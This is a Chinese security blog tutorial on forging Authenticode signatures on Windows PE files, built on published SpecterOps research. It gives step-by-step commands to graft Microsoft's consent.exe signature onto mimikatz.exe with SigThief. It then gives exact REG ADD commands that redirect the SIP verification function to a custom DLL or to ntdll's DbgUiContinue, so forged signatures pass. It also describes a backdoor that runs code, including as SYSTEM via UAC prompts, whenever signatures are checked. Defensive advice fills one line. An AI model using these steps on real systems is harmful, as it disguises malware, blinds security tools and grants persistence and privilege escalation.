Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持
0x00 前言
在上一篇文章《CAT文件數字簽名使用技巧》介紹了證書籤名的基礎知識,Windows系統下向文件簽名有兩種方法:添加在文件末尾(Authenticode)和CAT文件(catalog),本文將介紹Authenticode簽名的相關利用技巧——PE文件的簽名偽造與簽名驗證劫持
註:
本文介紹的技巧參考自Matt Graeber@mattifestation公開的資料,本文將結合自己的經驗,整理相關內容,添加個人理解。
參考資料:
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html
https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view
0x01 簡介
本文將要介紹以下內容:
· PE文件的Authenticode簽名偽造
· 劫持簽名驗證過程,實現代碼執行,作為後門
0x02 PE文件的簽名偽造
Authenticode的詳細說明文檔可參考:
http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx
部分系統文件會包含微軟的簽名,例如C:WindowsSystem32consent.exe
通過文件屬性能夠看到相關簽名信息,如下圖
通過powershell驗證,代碼如下:
Get-AuthenticodeSignature C:WindowsSystem32consent.exe
如下圖
藉助工具CFF Explorer獲取文件結構,如下圖
Security Directory RVA代碼數字簽名在PE文件中的偏移位置
Security DirectorySize代表數字簽名的長度
將這部分內容提取,複製到另一個文件test.exe的尾部,同時使用CFF Explorer修改test.exe對應的Security Directory RVA和Security DirectorySize
這樣,就實現了數字簽名的偽造
開源工具SigThief可自動實現以上過程,地址如下:
https://github.com/secretsquirrel/SigThief
實際測試:
測試系統: Win7
將C:WindowsSystem32consent.exe的數字簽名複製到mimikatz.exe中
參數如下:
sigthief.py -i C:WindowsSystem32consent.exe -t mimikatz.exe -o si.exe
生成si.exe,具有微軟數字簽名,但提示證書無效,如下圖
註:
部分測試系統無法使用sigthief.py,提示找不到0x9,將系統激活即可
通過powershell驗證,代碼如下:
Get-AuthenticodeSignature .si.exe
顯示HashMismatch,如下圖
通過signtool.exe驗證:
signtool.exe verify /v si.exe
通過sigcheck.exe驗證:
sigcheck.exe -q si.exe
顯示The digital signature of the object did not verify,如下圖
0x03 修改配置,使簽名通過驗證
查看Get-AuthenticodeSignature的幫助說明:
Get-Help Get-AuthenticodeSignature -Full
查看相關操作Set-AuthenticodeSignature的幫助說明:
Get-Help Set-AuthenticodeSignature -Full
發現該命令的功能:
The Set-AuthenticodeSignature cmdlet adds an Authenticode signature to any file that supports Subject Interface Package (SIP).
關於SIP的資料,可參考:
https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
獲得有用的信息:
There are some included as part of the OS (at least on Vista). Locate in the %WINDIR%System32 directory. They usually have a naming ending with sip.dll, i.e. msisip.dll is the Microsoft Installer (.msi) SIP.
尋找Windows下的SIP:
ls C:WindowsSystem32*sip.dll -Recurse -ErrorAction SilentlyContinue
Win7下只有一個:C:WindowsSystem32msisip.dll
註:
Matt Graeber的測試系統為Win10,可以找到多個dll
使用IDA打開該dll,查看函數DllRegisterServer()
如下圖
找到一個特別的名稱MsiSIPVerifyIndirectData,字面意思像是簽名驗證功能
查找資料,找到該函數,地址如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/cc542591%28v=vs.85%29.aspx
發現該函數,返回TRUE代表驗證成功,返回FALSE代表驗證失敗
該功能對應註冊表鍵值,位置如下:
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData
如下圖
不同GUID對應不同文件格式的驗證,例如:
· C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
· DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
· 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
· C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件
註:
GUID說明引用自《Subverting Trust in Windows》 Page4
接下來,嘗試替換HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData下的dll和FuncName
通過c++實現,創建dll,添加導出函數,格式參照CryptSIPVerifyIndirectData,代碼如下:
BOOL WINAPI CryptSIPVerifyIndirectData(SIP_SUBJECTINFO *pSubjectInfo, SIP_INDIRECT_DATA *pIndirectData)
編譯生成signtest.dll
修改註冊表:
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testsigntest.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "CryptSIPVerifyIndirectData" /f
重新啟動cmd,使用powershell進行驗證:
Get-AuthenticodeSignature .si.exe
顯示Valid,校驗成功
如下圖
通過signtool.exe驗證:
signtool.exe verify /v si.exe
驗證通過
通過sigcheck.exe驗證:
sigcheck.exe -q si.exe
驗證通過,如下圖
重啟explorer.exe,查看文件屬性,簽名狀態,顯示簽名生效,如下圖
更進一步,dll一定要固定格式嗎?
於是進行接下來的測試:
導出函數名為test1,完整代碼如下:
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)BOOL WINAPI test1()
修改對應註冊表鍵值:
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testsigntest.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "test1" /f
測試仍能夠繞過驗證
這就說明,只要dll的導出函數返回TRUE,就能夠繞過驗證
所以,可以查找系統默認的dll,找到一個導出函數返回true即可(當然,此處可供利用的導出函數有很多)
例如"C:WindowsSystem32ntdll.dll"
導出函數:DbgUiContinue
代碼如下:
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:WindowsSystem32ntdll.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f
這樣,就不需要在系統上留下自己編寫的dll
對於64位系統,存在32位的註冊表鍵值
如果使用32位的程序,如32位的signtool和sigcheck,為了繞過驗證,還需要修改32位的註冊表鍵值,對應代碼如下:
REG ADD "HKLMSOFTWAREWow6432NodeMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:WindowsSystem32ntdll.dll" /fREG ADD "HKLMSOFTWAREWow6432NodeMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f
0x04 簽名驗證劫持
修改註冊表,編寫dll實現對簽名驗證過程的繞過,如果我們在dll的導出函數裡面加入自己的代碼,這就實現了簽名驗證劫持
在簽名驗證中加入執行代碼:
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)BOOL WINAPI test1()
只要涉及簽名驗證的操作,載入我們自己的dll,就會彈出計算器
以下程序會使用簽名驗證操作:
· DllHost.exe - When the 「Digital Signatures」 tab is displayed in file properties
· Process Explorer - When the 「Verified Signer」 tab is displayed
· Autoruns
· Sigcheck
· consent.exe - Any time a UAC prompt is displayed
· signtool.exe
· smartscreen.exe
· Get-AuthenticodeSignature
· Set-AuthenticodeSignature
· Security vendor software that performs certificate validation based on calls to WinVerifyTrust.
註:
該處引用自《Subverting Trust in Windows》 Page33
例如,查看文件屬性-數字簽名詳細信息,載入dll,彈出計算器,如下圖
特別的,以管理員許可權執行程序會彈出UAC,如果對此進行劫持,此時的許可權為system
完整操作如下圖
GIF/1054K
補充:
1、dll劫持
有些GUID,默認註冊表的dll路徑為相對路徑,這裡就存在dll劫持的問題,不需要修改註冊表也能實現繞過簽名驗證
2、Hiding from Autoruns
啟動項檢測工具Autoruns默認不顯示帶有微軟簽名的文件,如下圖
如果文件包含微軟簽名,默認不會顯示在Autoruns面板
0x05 防禦建議
部分白名單程序默認會信任帶有微軟證書的文件,這裡就存在隱患
建議不要盲目相信證書
0x06 小結
本文介紹了Authenticode簽名的相關利用技巧——PE文件的簽名偽造與簽名驗證劫持,下一篇文章將繼續介紹Authenticode簽名的偽造技巧——針對文件類型的簽名偽造。
最後感謝Matt Graeber的分享。


※神漏洞!Outlook會將你的加密郵件明文再發送一遍
※識別驗證新花樣:如何用心跳進行身份識別
※rubygems.org遠程命令執行漏洞分析
TAG:嘶吼RoarTalk |